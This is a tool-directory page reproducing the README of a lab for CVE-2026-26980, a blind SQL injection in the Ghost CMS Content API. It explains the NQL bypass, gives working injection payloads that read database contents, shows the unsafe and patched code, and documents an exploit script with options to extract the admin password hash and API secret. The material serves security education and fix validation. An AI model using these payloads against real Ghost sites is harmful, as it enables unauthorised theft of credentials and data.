Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
ghost-cve-2026-26980 — CVE-2026-26980 — Ghost CMS Content API SQL Injection Lab (unauthenticated blind SQLi via slug filter ordering) | Kitploit
Tools/GitHubGitHub/dinosn/ghost-cve-2026-26980
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingLearning & EducationDatabase SecurityLabs & Practice
GitHubdinosn/ghost-cve-2026-26980

ghost-cve-2026-26980

CVE-2026-26980 — Ghost CMS Content API SQL Injection Lab (unauthenticated blind SQLi via slug filter ordering)

View Repository
194215 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-26980 — Ghost CMS Content API SQL Injection Lab

Unauthenticated blind SQL injection in Ghost CMS via the Content API's slug filter ordering mechanism, allowing arbitrary database reads from any Ghost instance without credentials.

CVECVE-2026-26980
AdvisoryGHSA-w52v-v783-gw97
CVSS9.4 (Critical)
CWECWE-89 (SQL Injection)
AffectedGhost 3.24.0 -- 6.19.0
FixedGhost 6.19.1
Auth requiredNone (Content API key is public by design)
Credit/ReferencesNicholas Carlini using Claude, Anthropic [https://www.youtube.com/watch?v=1sd26pWhfmg]

Disclaimer -- This lab is for authorised security testing, education, and defensive research only. Do not use against systems you do not own or have explicit permission to test.

Overview

Ghost's Content API supports filtering tags and posts by slug using array notation: filter=slug:[tag-a,tag-b]. Internally, a helper function builds an ORDER BY CASE statement to preserve the requested slug order. Before v6.19.1, user-supplied slug values were interpolated directly into this SQL without parameterisation:

// ghost/core/core/server/api/endpoints/utils/serializers/input/utils/slug-filter-order.js (VULNERABLE)
order += `WHEN \`${table}\`.\`slug\` = '${slug}' THEN ${index} `;

The Content API key is embedded in every Ghost site's HTML (data-key="..."), making this a fully unauthenticated attack surface.

Vulnerability Mechanism

The NQL Bypass

Ghost's NQL query language validates filter input and rejects raw single quotes or spaces. However, NQL accepts single-quote-wrapped values inside array notation (slug:['value']), passing the quotes through as part of the literal. The slugFilterOrder regex extracts these values and interpolates them -- quotes included -- into the SQL:

Filter:  slug:['||CASE WHEN 1=1 THEN 0 ELSE EXP(710) END||',news]
                ^                                          ^
                NQL passes quotes through as literal chars

Generated SQL

After interpolation the ORDER BY becomes:

CASE
  WHEN `tags`.`slug` = ''||CASE WHEN 1=1 THEN 0 ELSE EXP(710) END||'' THEN 0
  WHEN `tags`.`slug` = 'news' THEN 1
END ASC

In MySQL's default SQL mode, || is OR and '' is falsy. This gives us a clean boolean oracle:

ConditionCASE resultEffect
TRUE'' OR 0 OR '' = 0Normal response (HTTP 200)
FALSE'' OR EXP(710) OR ''DOUBLE overflow error (HTTP 500)

Data Extraction

With the oracle established, standard binary-search blind extraction applies:

slug:['||CASE WHEN ORD(SUBSTR((SELECT email FROM users LIMIT 1) FROM 1 FOR 1)) > 64 THEN 0 ELSE EXP(710) END||',news]

The SUBSTR(... FROM pos FOR len) syntax avoids commas (which slugFilterOrder splits on).

Screenshots

Boolean Oracle: TRUE condition (HTTP 200) vs FALSE condition (HTTP 500)

TRUE (1=1) → HTTP 200FALSE (1=0) → HTTP 500
TRUEFALSE

Binary Search Data Extraction

Data Extraction

Fix Validation: v6.18.0 vs v6.19.1

Fix Validation

More screenshots

Ghost Frontend

Ghost Frontend

Content API Key in Page Source

API Key

Normal API Response

Normal Request

The Fix (v6.19.1)

The fix replaces string interpolation with parameterised bindings:

// FIXED
caseParts.push(`WHEN \`${table}\`.\`slug\` = ? THEN ?`);
bindings.push(slug.trim(), index);

The crud.js plugin was updated to thread bindings through orderByRaw, and @tryghost/bookshelf-plugins was bumped to 0.6.29 which adds binding support.

Lab Setup

Prerequisites

  • Docker & Docker Compose
  • Python 3.8+ with requests

Quick Start

# Clone and enter the lab
git clone <this-repo> && cd ghost-cve-2026-26980

# Install Python dependency
pip install -r requirements.txt

# Start the vulnerable Ghost instance (6.18.0 + MySQL 8)
docker compose up -d

# Wait ~45 seconds for Ghost to initialise, then run the exploit
python3 exploit.py --url http://localhost:2368

Validate the Fix

# Also start the patched Ghost 6.19.1 on port 2369
docker compose --profile fixed up -d

# Wait ~45 seconds, then confirm the fix blocks the injection
python3 exploit.py --url http://localhost:2369 --validate-fix

One-Command Validation

bash validate.sh

Teardown

docker compose --profile fixed down -v

Exploit Usage

usage: exploit.py [-h] [--url URL] [--validate-fix] [--extract-password]
                  [--extract-api-key] [--content-key KEY] [-v]

options:
  --url URL            Ghost URL (default: http://localhost:2368)
  --validate-fix       Confirm the target is NOT vulnerable
  --extract-password   Also extract admin bcrypt hash
  --extract-api-key    Also extract admin API secret
  --content-key KEY    Skip setup, use this Content API key directly
  -v, --verbose        Show per-query oracle results

Example Output

====================================================
CVE-2026-26980 — Ghost CMS Content API SQL Injection
====================================================

[*] Waiting for Ghost at http://localhost:2368 ready
[*] Setting up Ghost (admin: [email protected])
[+] Setup complete — establishing session
[+] Logged in
[+] Content API key: ad63c06a71457583ea58f050c1
[+] Anchor slug: news

[*] Phase 1 — boolean blind verification
  CASE WHEN 1=1:  200 (TRUE)
  CASE WHEN 1=0:  500 (FALSE)
  [+] Boolean oracle confirmed — VULNERABLE

[*] Phase 2a — extracting admin email
  Measuring length of admin email... 21 chars
  Extracting: [email protected]
  [+] Email: [email protected]

============================================================
  EXPLOITATION SUMMARY
============================================================
  Target:        http://localhost:2368
  CVE:           CVE-2026-26980
  Content key:   ad63c06a71457583ea58f050c1
  Admin email:   [email protected]
============================================================

Also Fixed in v6.19.1: CVE-2026-29053 (RCE via Themes)

Download Tool